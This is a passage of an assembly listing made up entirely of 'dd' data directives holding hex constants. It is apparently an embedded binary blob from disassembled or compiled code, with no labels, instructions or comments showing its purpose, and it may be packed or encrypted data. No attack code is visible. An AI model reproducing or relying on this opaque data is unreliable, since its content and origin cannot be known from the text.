75C5A6Bh dd 7E86669h, 4B097065h, 32603BDBh, 5C2F5558h, 0DA0E3ED0h dd 204A5F9Ah, 512989C0h, 2031FB00h, 0CA0C9145h, 0AA7209F9h dd 0BC8F491Ch, 0AD4C00B3h, 0AB398A82h, 0FBDA3507h, 13939185h dd 0EC280297h, 3EBF88CDh, 2BDC5468h, 47008DEEh, 0A61A1681h dd 795298CFh, 0FD3B0017h, 6C3F65DBh, 0DA5D4CA0h, 161903C0h dd 0F899A322h, 723F6F9h, 30CDFF02h, 6D211229h, 36000870h dd 5F3F8B73h, 70A8EDAAh, 962800F9h, 12DB40C8h, 0E139ECFh dd 8000DDB7h, 0CC698490h, 5FC8F7CEh, 3C3903C3h, 0AB80ACB3h dd 0A4401B82h, 8F03B155h, 302E280Eh, 0DF228095h, 0EBA40351h dd 0E2B61F29h, 928AD83Fh, 0AF078E9Dh, 3A8088B7h, 1969C9Bh dd 838BAC41h, 0D09A9932h, 0D50176A0h, 0DF598ED0h, 8930E6C8h dd 5C7300D3h, 5AE0C6E7h, 47008A57h, 983575B1h, 2CB059Ah dd 5FA9CC2Fh, 0F4685EF2h, 5004C596h, 0C8E1AF8Ah, 0BB370CC1h dd 61C020h, 3FFD644Ah, 0CCF71550h, 5EDAE39h, 0F1428755h dd 0C19BFC00h, 9DA5A9h, 0B1832606h, 3AD74B0Bh, 0F4EC6400h dd 5C72E251h, 0F74F070Ch, 4043F2B8h, 60741AB4h, 5610C600h dd 0AB98C3ADh, 1DD0008Dh, 0F2545CEAh, 590403FBh, 0A3BB34F0h dd 885265C1h, 0E872DCh, 39C5711Ch, 33C2D39Eh, 37ACF20Fh dd 0A4EAAAEBh, 87CBB16h, 8F0640CFh, 0C340C6DCh, 0E6D65C77h dd 607B7Eh, 91242A3Ah, 350BCD8Dh, 309BD00h, 0E3A93D25h dd 70D7F84h, 0C5F8CF63h, 0FED0B061h, 0BB1F0FDFh, 823BA4AAh dd 8AEE2AD4h, 0B248402Dh, 67770010h, 6DF42EB1h, 21C3B5DDh dd 0A8251C0Eh, 0E514BCh, 875315BAh, 0BFB1A801h, 56261E00h dd 8A51E805h, 0A4EE72C3h, 4B7600F0h, 38645377h, 3AE4A4D2h dd 0D5667300h, 469851B6h, 32718BCh, 9094206Dh, 7C009C90h dd 0CB3DD7DFh, 17B039A3h, 0F0AC93AEh, 84037F41h, 0ECED3C5h dd 9B1CF0DFh, 19AF1DB4h, 12003C9Ch, 1FAA1EE8h, 2300D994h dd 0B33BAD35h, 0AFDB78h, 2B6657CFh, 5362CD50h, 29B2C200h dd 77F2960Eh, 0A6870016h, 4A90011Dh, 6CF48D2Ah, 12827D05h dd 0C9C036D4h, 934B6Eh, 46B7E7F5h, 20640FFBh, 96C19E00h dd 18039A3Ch, 0C2991E3Fh, 0F3BC09h, 0B301AD3h, 67683697h dd 0F8CB2500h, 0EEEB4345h, 3D6000D0h, 0A5F3737Fh, 2270CAD9h dd 46F68600h, 9F34BEC7h, 0F76001A6h, 0D35076Ch, 241AEC0Ah dd 37AB0B00h, 6396B5A5h, 56610077h, 952AB3C1h, 5F2E46C3h dd 0D8800C3Fh, 697CBBC9h, 5AD20093h, 0D76367B1h, 22271F09h dd 0BDBC2085h, 60EBB2h, 7497AF47h, 2F842478h, 78895280h dd 1B8F3A3Bh, 0EBB007Ah, 37620C03h, 22E42EBCh, 0A75B1D09h dd 3ED0803Ch, 0E0F23Fh, 90320AD2h, 0DBE641CBh, 66DF1B00h dd 0ADBB101Ch, 34B272h, 0DCB286D2h, 857DBD0h, 0EEA07C90h dd 0D70A4569h, 0D95865F5h, 0E0B0DC0Fh, 4202128Ah, 45190066h dd 5059E3A2h, 0B7000454h, 0C8F39316h, 1E4AA0Ah, 0E5171511h dd 0E2E08ED8h, 8B070240h, 0D46FD4F5h, 183F6C00h, 7F12A3B6h dd 775D004Fh, 462C96C3h, 8300E303h, 1D26B486h, 19431Ah dd 0EF2D5E80h, 8FFE2EFDh, 7EBD41Eh, 4B29A000h, 2CE9D9FBh dd 3447C01h, 91262765h, 0D02F7DF1h, 0F6EA0E55h, 0A19BE07h dd 0F3DF35FDh, 50BD7004h, 0C34334C0h, 0B32B0067h, 5B536B0Ah dd 0CD015F0Fh, 8E293344h, 16CCAB9Dh, 0C5560512h, 90708ADDh dd 0CDD16708h, 0BBA92105h, 0A0000B72h, 854A2CAEh, 8A6300B0h dd 9D5D17DBh, 0F9005ECFh, 865755E9h, 58EF7675h, 4801000Fh dd 2FF613C9h, 0C41C2596h, 29006EF1h, 0FCC30E57h, 7B5927A9h dd 90EC00D5h, 9CF49945h, 3D481855h, 0DC14519Fh, 2C044094h dd 342D3606h, 33D9C0C0h, 840900A2h, 479A388h, 0E3EA1375h dd 4AE0A409h, 5E6CC012h, 37078C1h, 36649C67h, 885A964Eh dd 0E1DE003Ah, 0D41F9E16h, 908D4707h, 809BD1A0h, 214C0E7Ah dd 9F53DEh, 3BDAB2CCh, 11003A0Ah, 0A1570FBEh, 0C7EFE3h dd 804F8E53h, 794E3286h, 62B0CB00h, 6A4584EAh, 0AC6348BCh dd 8B1B6E00h, 0A48815E1h, 8F544C00h, 0C8E55A0Dh, 2A2600F5h dd 0FE3073DFh, 0C7009C2Dh, 0B385DDF8h, 0FA351AFDh, 997C00E7h dd 63F1E52h, 560004FBh, 6305E5F3h, 0F264BAh, 2B355AB7h dd 53E9A793h, 3E28E200h, 0AF6DEDB4h, 0D4EB0026h, 0DF4EC439h dd 2500FEF9h, 3675C690h, 748897h, 6F84ABA1h, 0D468B39Eh dd 571ACA02h, 0A0F2C2E6h, 4942C9C4h, 626500C5h, 4C0DCC50h dd 6F71C732h, 0EA95100h, 90060884h, 0E5C2059Ch, 0CAE47Fh dd 0EADCDAD8h, 0B100F7E6h, 0DDE08C59h, 51B3AEDBh, 0B5F8C4A7h dd 383CB962h, 5708C544h, 26E6F14Ch, 91D00E4Bh, 74B35E40h dd 9F033E6Eh, 0B85D9290h, 0E0368A87h, 0A47F4Ch, 72D4D96Ah dd 0E2C4EB65h, 0D7D87505h, 0C6806877h, 17535E7Ch, 0B55B7Eh dd 0B9B6AC3Ch, 72165DD0h, 0C847F6E1h, 8001EE4Bh, 0E82953FEh dd 0AE270500h, 295715FBh, 0A8786B00h, 796A6290h, 216E00B5h dd 0FD1F7E45h, 57019C1Eh, 0BCE6492Dh, 0E8403E6Fh, 49960504h dd 3D00B003h, 1DD88EDBh, 0A31730BAh, 0D800F7C2h, 78BCF9D3h dd 0C60630F8h, 0A75338EAh, 0C7BB3900h, 284AAA17h, 6BFC079Ch dd 548071A8h, 42D8C07Ch, 1400B662h, 58D58C52h, 1FC367h dd 26667725h, 8602FA19h, 6109EC00h, 0FC963D3h, 6D10053h dd 0D243CFCh, 0F612EE6Fh, 185D254Bh, 8DAAA240h, 1F9A9D6Eh dd 83B87B8Bh, 6CF0B957h, 0A93BCEE8h, 9CBDA304h, 19C3D26Dh dd 4CF9C905h, 0E88098D5h, 61AD2EEDh, 3D0046C1h, 0A738D171h dd 0FA43CB63h, 30D2306Eh, 0F648CC20h, 9003C100h, 7E2DB466h dd 0AC600F0h, 2F9C4D93h, 20090174h, 2AD1FB2h, 4181561Ch dd 0BC7C0865h, 22D22A13h, 0D4A06984h, 74AB27E5h, 0CB721B00h dd 0A8F8D7C7h, 973005CDh, 1C68D1BEh, 2CBBC7CAh, 59FA90EAh dd 8A0122B3h, 1BA7D204h, 3CE041CEh, 57F80067h, 0A8AD9F4Dh dd 0AF3EABA3h, 748DCC1Ah, 6A4C1000h, 9858F9E4h, 0BD3700BBh dd 1F20BC25h, 3500EC03h, 1E19EA9Bh, 4B34A7h, 2B7137D6h dd 0AF21CBE4h, 0B8DB7E0Ch, 7A07C832h, 91E030Ch, 0F143AFAh dd 0B1870A7h, 110035FBh, 1A3CF202h, 3CEBE012h, 0F01E31DAh dd 8F5201B8h, 0E8F4FE03h, 68001720h, 0CD2942Eh, 4861184h dd 2407B343h, 2FE4B057h, 2000B05Bh, 2EC003CEh, 227009Dh dd 0AA9C35C7h, 36EC171Ah, 0F72AA200h, 6E7B48Bh, 0BD78ECh dd 0EFAA94E9h, 737C0D3h, 0A6D0C300h, 35BAD1F9h, 0CBC20C06h dd 0AC20F1A5h, 0FC86E500h, 0F0AD2D70h, 8B2300E6h, 96327A0Fh dd 2100ECF8h, 1A9D7EAAh, 56DCC2h, 731BC64Eh, 6A72CB70h dd 7F9EC300h, 0A5E73C76h, 43D1000Dh, 1A712532h, 0EA169260h dd 0C020840Fh, 74C98A2Eh, 6F7F50h, 593D24D3h, 0AEF15341h dd 5E570D2Dh, 274B0034h, 0FC1C7C61h, 1507EA00h, 79C86986h dd 8D5F00BEh, 7CADA4DDh, 0D50F830Bh, 0E01C640Eh, 2C77B411h dd 71490050h, 0D2991369h, 0E700D8A2h, 557EEA8Dh, 168C90CCh dd 0C991B974h, 0A0E0DADCh dd 0D3074A46h, 30C6B80h, 0F0D2DD52h, 0BD3200C0h, 948F9F0Dh dd 0FF1F76B8h, 4413B66Bh, 2FD6A00h, 90E3057h, 0DD99BD8Eh dd 3C601E00h, 740EAF1Eh, 466223h, 3120EC94h, 985303B0h dd 2B69F4C3h, 0F1E0BCD8h, 1C5B0C2Eh, 0E600DD90h, 0A766D6E2h dd 0F813CC75h, 4400FC55h, 2C23D4A6h, 6815606Bh, 0F7A82D2Fh dd 29005B7Fh, 4EF99671h, 580AE513h, 411E88C6h, 9400B963h dd 5AF40CC9h, 0AC19F1DFh, 7D702DA8h, 43F874h, 98A0E123h dd 517E27Fh, 62FE4E1h, 0BA38600h, 0DD40F08Eh, 0EEEEB8h dd 0CDEB3A80h, 51107F6Bh, 6AE00800h, 0E1EF4EECh, 0E9A7959h dd 0F9860738h, 60102207h, 0FA9833F8h, 81FDE800h, 0DC31D30Fh dd 0ADF7004Ch, 76B7CC79h, 5FEEC3D0h, 6A5D6E01h, 61A158ACh dd 36CF0D2h, 0C1E80D54h, 94885E30h, 0A01CAA65h, 0FFDF45C0h dd 697DE402h, 1BD06040h, 0A73B01CFh, 849D2FD5h, 0BDA0404Ah dd 412D2B4Ch, 47440095h, 1F3BB7E4h, 0C0C36E58h, 0AD333FFAh dd 89009856h, 34446BE1h, 3FE4A9A0h, 2E80038Ch, 6062BE3Eh dd 3790075Ch, 5090790h, 0C05D8C97h, 388C224h, 8ADCD565h dd 72C0BF6Fh, 0BE1FC363h, 0DBDF6489h, 0CB00BE26h, 0A87E3DF8h dd 3C9486h, 0AB8C79AEh, 0DF77948Bh, 5F0B62FAh, 0AA4FD2h dd 0FDA2808Ch, 0B05959D0h, 40993A1Ch, 5A734A95h, 9400C391h dd 0F21479F3h, 0F8A91DD4h, 0B088EAD5h, 1B282803h, 5CAB07E8h dd 4797CF4Bh, 0F82E10B2h, 2C7A8EDCh, 39C09300h, 7244FE07h dd 81621C13h, 0D0E499h, 0B3A1AB69h, 9145327h, 1DE8F24Bh dd 0F013CA22h, 0C2F7BC0Bh, 8FBE8044h, 0C365E2h, 8005635Fh dd 9606C6FAh, 1F2A5300h, 0E6D07F84h, 406000D9h, 0F4ECDB0Ch dd 60B04DB7h, 0B913700h, 1CA5A102h, 3DAA009Fh, 0C3D80D7Fh dd 0BA707DD5h, 0F84C0400h, 0ACB23A85h, 0CBA70099h, 1236C2E4h dd 74258456h, 98A46BF0h, 0B3853h, 92B47BDEh, 0EDB96252h dd 0FCD659h, 0A8546665h, 0E6F48E09h, 0FB000A9h, 58B33ACh dd 0DFCAA07h, 0C034EA00h, 89B49DEh, 952D00DFh, 822E7906h dd 3503E60Bh, 0A789FC97h, 0C0AB923Ah, 0F629DE88h, 0A9240F2Eh dd 2140C265h, 22D1766Fh, 3EED7200h, 108EFF70h, 0A81C5E75h dd 37560F08h, 0CEFEE098h, 12C3749Fh, 0E024AF89h, 38C3FA6Ch dd 7D8400Bh, 0B7D69610h, 0B8AAD09Bh, 0C82C9C98h, 80B81820h dd 0FC2C5463h, 1C9E99Dh, 68F3E7F4h, 0E94B11FFh, 1F682278h dd 0F9BF585Ch, 1DD0C100h, 0C39966F5h, 90F0B23h, 4900E0E5h dd 4D483B21h, 0E95B8A00h, 17A18EC6h, 617200C0h, 2273BDD8h dd 151CA632h, 0BE809EFBh, 550FCFF1h, 9D090036h, 897F8A4Ch dd 0C5057262h, 4AD3414Eh, 0B2B99200h, 0B3490h, 8B319406h dd 2289B481h, 3E078E70h, 0AAD79B29h, 0DFC3F127h, 3AFDD00Eh dd 517736h, 43423E9h, 6E719448h, 640493F8h, 31D0E07Bh dd 2200D8BCh, 23DFCA13h, 59C03589h, 8B289ACDh, 9524003Bh dd 3BDC419h, 8D1E942Ah, 1DC0B972h, 6F7A4A65h, 0FBE26D9h dd 76460F74h, 0CBA502E0h, 27617313h, 0C3AC3460h, 15E0B075h dd 4D461859h, 0A741080Bh, 782C223Eh, 641647ECh, 640F31B0h dd 80EF6078h, 78A24679h, 67B3127Dh, 414C47E5h, 382A76B8h dd 6A466903h, 1F266898h, 3BEE71h, 8C30A48Bh, 851437C9h dd 1488913h, 0D78958Eh, 4C4025ADh, 5246619Dh, 84011432h dd 8E3C4B70h, 0C4D4308Bh, 0B7738h, 5965CAD4h, 7FD7E424h dd 8685032Dh, 0DC0E21A1h, 29F33B88h, 0FB347000h, 5E569646h dd 19080ED1h, 0ED20EA30h, 18650338h, 6D211600h, 0A8879E05h dd 86170041h, 30D009B6h, 9C61F91Bh, 9B842078h, 0DA55CCh dd 0E3E2B262h, 6857AD91h, 0A862B03h, 80773D1Dh, 28780583h dd 0E7E744h, 49DB9B24h, 0D28A6639h, 0D5581200h, 72E53570h dd 0A34D00CDh, 0DB252E0Dh, 3E057B77h, 4517FC30h, 0E07E8EC2h dd 0C153DFh, 0EA826720h, 3E6E86DEh, 10E531F9h, 5A24EE9Ch dd 0CDF8F4Eh, 2833AB0Ch, 4B4CDE10h, 4E23A08h, 35EB049Fh dd 9E4A18D0h, 2DEA200Fh, 80A1E73Ch, 0E949B4C8h, 27D2E4h dd 2E6E0B8Fh, 25E8EC92h, 9182AE05h, 0C4C0DE06h, 757D35Ah dd 51388B72h, 18407942h, 1F008DACh, 21B90D22h, 954D84A0h dd 48158020h, 0C9005958h, 6BA117D6h, 2D8935Ch, 9A2C09BFh dd 0E0D8708Fh, 794B6000h, 4E7ED06Eh, 51193AAFh, 168B8F00h dd 34F012B4h, 0A79D8300h, 81DDC904h, 0A0390055h, 2F3B28B7h dd 4900E87Dh, 82664CEh, 0F23CD09Dh, 24821E18h, 94978720h dd 129080BFh, 32F4A504h, 91CC6600h, 0CF755BC6h, 55F227CEh dd 0BB6B6404h, 0D6E08B02h, 0C3FA8054h, 0BC5166h, 410423CCh dd 0DACAC048h, 620F6501h, 9ECF4937h, 2E777DCh, 30035AFFh dd 2CC2952Bh, 0E30054F0h, 84BCC846h, 0B84C5AF1h, 5CE20040h dd 0BBCED5C9h, 3F75E65Eh, 0F1AAD405h, 0F0401605h, 50302E32h dd 792800A1h, 4214A98Ah, 0B4254862h, 0EF44E027h, 0E2E050h dd 0A90361Fh, 0FAD8B1B7h, 4F3F5201h, 655A5770h, 7B00EF8h dd 82D191F1h, 0A3017940h, 0E553D25Bh, 2B2474B3h, 0FCEA2F79h dd 40C4E458h, 963825A0h, 19A280A5h, 1CB1BF21h, 0B5C2009Bh dd 0A6429415h, 502F858Ch, 0B8D40079h, 0EDE36D4h, 9337E740h dd 0A5B67A00h, 0B1007098h, 0ACE697A0h, 23E52EFh, 9D9CC66Dh dd 0D05CA189h, 94233604h, 0D06694C0h, 0B654002Eh, 0C543FC1Fh dd 0CB1C87B7h, 6500304Eh, 6228BD45h, 0E2BCB8E8h, 0EEEB0261h dd 8392D2C3h, 0B0AA482h, 88909B25h, 0BD5AF8h, 0C547E02Ah dd 711E7FAFh, 0C83A881Eh, 9C447DC0h, 2A3EB09h, 640B7C97h dd 9A60CEE9h, 14005565h, 0AB1C6EA4h, 0ACD939h, 2AECF8A7h dd 4A5B26B2h, 78C5DB31h, 3312E6F2h, 92BBE18h, 0CE9943E1h dd 492CBC60h, 0E90C5Ch, 0ECCFDC77h, 0F70151h, 1DCB0A2Eh dd 0A80F32B8h, 1C7F283Bh, 0CA007024h, 17E02244h, 5EE8FDB9h dd 0A23A09D2h, 38007BE3h, 0E2229564h, 0F40E6305h, 90D09BCAh dd 6F8CE9h, 9594C802h, 0E30CDCA7h, 0C4710300h, 0E40D4044h dd 0AAC200D3h, 65645ACCh, 450A4B76h, 0EC903910h, 5F93780Fh dd 853516C9h, 0AA82F1D3h, 0D80463CDh, 1E0D456Dh, 0C12EBDAFh dd 66A5F6EEh, 9C9870DCh, 5B77D800h, 0B9FCCE43h, 8CDF48ADh dd 388E0B00h, 0C0EB88A8h, 982DFE00h, 0E2344857h, 2649005Dh dd 0ECAC5275h, 0A9004FD3h, 0B68021CBh, 0EB32B8Fh, 0E6178815h dd 0E3A1AB80h, 540082D4h, 2D035C63h, 3AD0A03Eh, 2C2CCF8Fh dd 0DC9083B8h, 3103B2ADh, 0CF54E0E9h, 75800AAh, 0B7064735h dd 4460D264h, 0DFE61178h, 0BF901F6Eh, 44679333h, 0A8CAE0BCh dd 77113F50h, 1335BE3Bh, 0D4E1857Ah, 286DFCh, 91A4E3EEh dd 0ED680788h, 3C6BA3Ah, 7224D8C7h, 0E28EA07Bh, 0B4F203EAh dd 0DF933240h, 800876C8h, 0D785BF00h, 90335BB3h, 6345000Ch dd 825355ECh, 0D4E58EABh, 6600B984h, 0EF3CC657h, 13DF810Dh dd 0C041A5F1h, 0CFD17A84h, 0FE007C9Eh, 6C4A0ACCh, 88322CF5h dd 7F2D0011h, 144004A4h, 5C76CA07h, 0DD2001D9h, 712BBCFh dd 8047F848h, 1B956094h, 0F300B126h, 0B7C48A6Ch, 61C040Fh dd 343F1E58h, 320010B8h, 0ED6CD9A4h, 749FABh, 61FA9B43h dd 319D4671h, 0DF5B9E02h, 49ACA2CFh, 3C7CFB90h, 4BBBAA82h dd 8400BCD0h, 8B9F8005h, 1E570E0Ah, 0C1A7A563h, 89AFBDABh dd 0A20C6014h, 0A09BB02h dd 406D7B4Bh, 17EF2D4h, 1F8B3857h, 3FA56C7Fh, 12A77D00h dd 72E6AA0h, 46C078AFh, 9287408Eh, 0CCBE9BFAh, 5BFC2700h dd 4B52F5h, 59DCB353h, 2196A580h, 0D0463C35h, 524D9471h dd 0F1A0BB40h, 69373FD5h, 1D116F81h, 2C5F85BCh, 9B2D28h dd 8B585210h, 15C63C92h, 0D9593302h, 562450h, 7680E6h dd 59BF4610h, 0DF244D91h, 0D44D9FEAh, 432A031Ch, 0D071320Ah dd 8F8667h, 58F702D3h, 0C2DF0C52h, 0A6F93600h, 84DABAFh dd 78ACB0F3h, 0E38A0E90h, 0DF2047FBh, 9137E83Fh, 487CFA00h dd 0CAF88680h, 3D3A0BC3h, 0D0808104h, 13830387h, 6D7C2Fh dd 0B7E19824h, 20D805F3h, 8084D75Ch, 7283D2A0h, 7C544116h dd 0E00D2448h, 1C70B966h, 94D0C64Eh, 83BC0h, 8C2542C4h dd 0F98EB15Bh, 3D61EB01h, 0ADD0FB69h, 7E838AECh, 0FE18005Fh dd 87854170h, 6209F552h, 4866B4B5h, 94AD6A5Ch, 4FC580BCh dd 1FCC4085h, 71322CE8h, 0FCB18E4h, 11396A06h, 47865700h dd 79919C70h, 0D8A40E46h, 6AAE6109h, 0B15148ACh, 4E57F25h dd 4F406488h, 853FB445h, 0F5B10800h, 24070D8Ah, 4C56016Ah dd 54466DB7h, 0A51600A1h, 871325C7h, 30ACDC13h, 3A4D47F9h dd 0A7EF109h, 24AC920Bh, 72130A10h, 8DA6021Ch, 0B8C01078h dd 8E1C3C51h, 9287808Fh, 0DE608CA7h, 0F03611h, 8791E732h dd 0F158C98Eh, 2E3F4100h, 2046FDAAh, 0E3D7006Eh, 3D45476Ch dd 56000FADh, 607C7E9Fh, 0C64881h, 4FEC5372h, 95AB4633h dd 5830BE00h, 0E543DD44h, 0AECF0E62h, 97E0BF24h, 40D928B0h dd 3AB39D3Eh, 3DA8CC89h, 0A7C8082h, 61F54755h, 36AD00A1h dd 91578D9Dh, 0A3007DBDh, 0CA6E4D5Ch, 43D7E6h, 7181F129h dd 476A65DFh, 4C69282Eh, 1FD3E800h, 0DC4575Eh, 2DACA3EEh dd 688221BEh, 10850540h, 0B0B95DF5h, 4E9A44EDh, 0FC8043F8h dd 0DE2D4D5Ah, 354B5800h, 2E4F54FAh, 4E553EF9h, 4056F81Ch dd 7D96A7ABh, 3C00B46Dh, 9FACE595h, 0B5707Ah, 0CBEB8BA4h dd 99984E28h, 0CF861104h, 0E0FDB3A7h, 94283780h, 0BE2C91C0h dd 0F501B4E1h, 0DA75E526h, 11F074h, 0A4BB0A33h, 204F7F10h dd 6B07AB2Ch, 41B43809h, 0B9E061C4h, 57460098h, 3E1CD8F1h dd 7690049Fh, 56EC6500h, 0BDDB5E2Dh, 52720FDFh, 0AE41CAA6h dd 8351E2EFh, 3F3DC2A4h, 6385E89Eh, 0C0BCACh, 0EBF610BBh dd 7C00980Dh, 0B25F41A7h, 79B591A3h, 7AA800ADh, 8D56C7D5h dd 6E05574Ah, 4254E148h, 1B805887h, 5AE5C3h, 10B07231h dd 6754797h, 0B50077E6h, 840FC127h, 17B71A8Dh, 439A6E6h dd 49A7FEA0h, 0A0804097h, 1EED002Fh, 0CE3E4AE5h, 0BF001D28h dd 101FC079h, 31EAFCFBh, 0A826604Fh, 0FEC220D8h, 8FBF4400h dd 1703AEFh, 0AE1A006Eh, 57D7A579h, 0CD3AEE06h, 5F31FA0Dh dd 2CD678DDh, 2F2EBF10h, 0C0FCFBEAh, 5EF92300h, 0E7091EB9h dd 712102D8h, 49D6B8FDh, 0FA00B8D4h, 0DD3A4F56h, 16FE04E8h dd 81F91A28h, 5024C3C4h, 71F8EBE4h, 4BCAD8A8h, 87AAC73Fh dd 0C8D42875h, 0D1DC7460h, 6CE7000Eh, 0E05B8E3Eh, 9D0022C3h dd 4EC96A18h, 3F4F81EFh, 2E185E5Dh, 0AA695932h, 3485A207h dd 0FCE0D423h, 4202B7h, 9C4678C0h, 0BCB1397Ah, 36E71102h dd 6028B553h, 35C84Ah, 0CE5F7DA5h, 6CE4B63Bh, 0D9F54402h dd 5504574Fh, 9DF8A6C3h, 0E9001356h, 0E7382545h, 1EB57695h dd 6ED39Ah, 33F10CBCh, 71CFC13h, 0A01D6E8h, 78C79529h dd 5265C4h, 0B87EEF9Eh, 0CA6B7A36h, 0D4A33200h, 0AB5059CBh dd 0A87127F1h, 242EECE8h, 2DBA5405h, 0DCE42FBFh, 48EF38DEh dd 3C6A79Eh, 89FC721Eh, 0F884A98h, 0ACBF7000h, 0AABBF2E5h dd 0A0E10081h, 0FB4943A9h, 4E2D749Ah, 78B0429Fh, 4DDD1260h dd 1E1CC0C5h, 97709A2Ch, 71E69360h, 0B43CFBh, 7827F321h dd 0D3B2A084h, 19FFE74h, 28CD4F5Ch, 0DE21D42Ch, 66A92480h dd 0E03148C4h, 7F8009Dh, 89FA1F2Dh, 210030A3h, 6A45FFA9h dd 358CC3h, 0A4AF975Ah, 4B2AEBD1h, 600F5707h, 6AD05C69h dd 0E604B42Bh, 4CC1009Bh, 0C6C55066h, 9FF796h, 0ABC478C4h dd 2CD200F2h, 0C846AD6Ch, 0C30983ECh, 68FBD153h, 12DFC7E8h dd 4E96F29h, 801757FEh, 16B69040h, 8AC28B09h, 524040D2h dd 0A1680055h, 3382CBBEh, 0FE004116h, 949C2324h, 92F82Eh dd 0A4D2F968h, 4222779Dh, 0EFE9E812h, 0BCCC0E0h, 0ADACB686h dd 0B3580000h, 0A008C24h, 4443E002h, 3877D7A4h, 91006F3Dh dd 0A2B383FDh, 0B004BE3h, 0CFEDEBDCh, 0CA8D50h, 0E0F5DAB2h dd 96963F2h, 7DBC4B00h, 7E4EC2D8h, 4FC000EEh, 154DCE77h dd 0E30034B2h, 0F80F9E2Eh, 8F08706h, 93855F1Ah, 50B25416h dd 1FCFF610h, 7CC0A184h, 41C783BBh, 0ED741D3Ch, 536280C6h dd 0BEE47079h, 210087B8h, 32024F7h, 4C9222B3h, 1E00926Eh dd 930482C7h, 0BF00EEDEh, 0EF8CD6C8h, 0A95C2F1Ah, 0A2BA4BCh dd 80D8771Ch, 21F6DEC8h, 463DF7CEh, 5E8D004Ch, 1D347D04h dd 24E30013h, 1B5809BEh, 1C004717h, 55BBD09Ch, 7D860A49h dd 0A9430016h, 0E9E212C4h, 0CE00E421h, 5F8723BBh, 6A1BACh dd 520E0294h, 0F1B90BBAh, 84263B78h, 0AE047FEEh, 0C8A0C42Ah dd 0FED20044h, 3C855650h, 7F1C13A1h, 2B00BE25h, 61AB7012h dd 364702C1h, 0AFC4D880h, 3E1E94C9h, 0F811CC40h, 35BEF2h dd 2A088751h, 32EFFF18h, 2AA1236Fh, 0EB05A0F4h, 0F1803A04h dd 3CFCBC46h, 0B1004AEFh, 7048983Bh, 0D30057C4h, 36C0C8CEh dd 588392B5h, 384C4471h, 21AC7B03h, 0DDA85445h, 54EECC9h dd 2D873C00h, 0E92449h, 0E1C83520h, 0FF7D5E5Fh, 0D6D4DC00h dd 62689FC4h, 624B6EFAh, 0E4A930D8h, 7EF53200h, 46E3C44Ah dd 7D083B86h, 745B1400h, 0F707DA93h, 1B663Fh, 2A1C221Dh dd 1F047E01h, 9932DEh, 2E9F7483h, 0C75B640h, 3CF32B12h dd 4240C21Dh, 0A7E69745h, 7579009Ah, 38878547h, 1E07D87Fh dd 866010CAh, 0E8685D83h, 42FFA6h, 0BA584B11h, 4CD065E4h dd 188C8A03h, 8F97A5B0h, 509C00EBh, 1F3DF215h, 0F35C211h dd 0E433B7D6h, 0E490AB04h, 0E869B201h, 162B73D1h, 1BA9C540h dd 5E1700EAh, 7D4EBA96h, 0AD1CFC28h, 4A809CF1h, 0FDC10507h dd 7CFF4814h, 0CB387800h, 9D88E3ADh, 72B84F58h, 7729E600h dd 0AE6F9580h, 686C0312h, 0DEF29A37h, 0E25522C0h, 0FD1E2B00h dd 0D62134EDh, 985202D5h, 6A2784A8h, 0E3186460h, 0B33A8C92h dd 60DDAFD2h, 4B65236Ch, 880C7ABAh, 1AD7083Fh, 421F2F9Fh dd 0D26A8904h, 8117FCA2h, 61AC88E5h, 74200881h, 51093EE7h dd 48D86402h, 0D852DDACh, 4EC01494h, 0A83A662Ch, 3F080D34h dd 4BF1E824h, 0C93433EFh, 0A5452026h, 0CD5283Eh, 6068B354h dd 0EE0068E2h, 93F026C2h, 0A7A4E8h, 46F5B54Ch, 3BD23378h dd 8C05CFF2h, 515BD407h, 9D39A8E3h, 7238B800h, 8001E178h dd 2FD0D100h, 0E7970EFEh, 0AC962F8Ch, 6967F820h, 100432Bh dd 0A3271E44h, 0CCC3EECh, 41792EA0h, 0C300FF58h, 8596741Dh dd 0C37CCEA8h, 352AC118h, 17943C06h, 0C1E484h, 0F0723F89h dd 26693062h, 94586A28h, 0A6218EF5h, 5688C047h, 19C0E32h dd 7CD80BD7h, 0D84681EAh, 2F0A0934h, 0B88DC2F2h, 0E0549080h dd 0B84EC007h, 0A80D1DB1h, 87998FEEh, 0C7D54A23h, 74407DE7h dd 68B801F8h, 112AAD30h, 0AD1484Bh, 786DA50Dh, 8E63AE8h dd 0E6012131h, 82C8D130h dd 65700C56h, 0C00B0C97h, 8E588B68h, 51631600h, 0BF8DE739h dd 0EA28825h, 3A4CBB12h, 0E0701803h, 0F6310879h, 6D9C500Ah dd 2D0A9468h, 0A08F02B8h, 0A9D3FC02h, 0B7FCE097h, 0DA9A0042h dd 0F3AA5A54h, 9803AB2Fh, 1C1983D8h, 0DB7A07Eh, 0B0AD007Ch dd 0E223201Fh, 631CF7FDh, 80390895h, 0C4738D69h, 0D3BDFAh dd 372DB7A3h, 0AB03123Eh, 9EA2A00h, 72D4E278h, 0AF9200DEh dd 0DA5A9483h, 839821ADh, 0FAE3BA03h, 887D0628h, 36C42Fh dd 0DDCB77C7h, 63889320h, 7BA9E500h, 0BB26E0FCh, 293D00D0h dd 0EFF9EB8Eh, 6F0071E8h, 526D8147h, 7BD3D6h, 1CDBC551h dd 0DE2E164h, 1EE72E58h, 1540A6DFh, 58271A21h, 0E0AB5CFFh dd 0A17EC501h, 0E772538Dh, 1BE81CE8h, 0D105DC00h, 1A425458h dd 0CC910E57h, 9EC02A98h, 808BB4A3h, 95F70118h, 3D526118h dd 8D877FB9h, 4CA4770Fh, 5300C110h, 0F929607Ch, 3A22839Ch dd 0B0309D49h, 7C5B5F21h, 670624FAh, 992590C3h, 0E6A11818h dd 793099C8h, 43EE707h, 0AFB728D9h, 144B2580h, 0C44C3E68h dd 98D05286h, 58CE38BFh, 615E83F5h, 9F110083h, 1612C87Ah dd 0BD19A966h, 0A6085DFEh, 723E2183h, 80B7C9C8h, 1AB6CCA2h dd 7E2E8C0Dh, 509158C2h, 0C87B805Fh, 8C6E1613h, 3A3DAA44h dd 55BCC873h, 5F48E280h, 8A2841F6h, 0FA122C0Ah, 7802A0A2h dd 8922B11h, 800B119Ch, 296C7C57h, 229D4359h, 5F6300B5h dd 0CEA5087Ch, 1500F046h, 2AD57B87h, 0C08DB20Ah, 187EE360h dd 9A60221Ah, 0CBF4410h, 0AE4E0379h, 0B3BC6AA5h, 0EAE2A9B8h dd 56D31F07h, 0C02F5EFDh, 77B0589Ch, 0E11F85Fh, 0DA109B9Dh dd 8EAEC281h, 0B64EC051h, 590D4800h, 11FBCDEFh, 0C7540F7Ch dd 2F61DF2Ch, 20C1104Ch, 0E41CB446h, 7207C558h, 5C1246D9h dd 0E07241BEh, 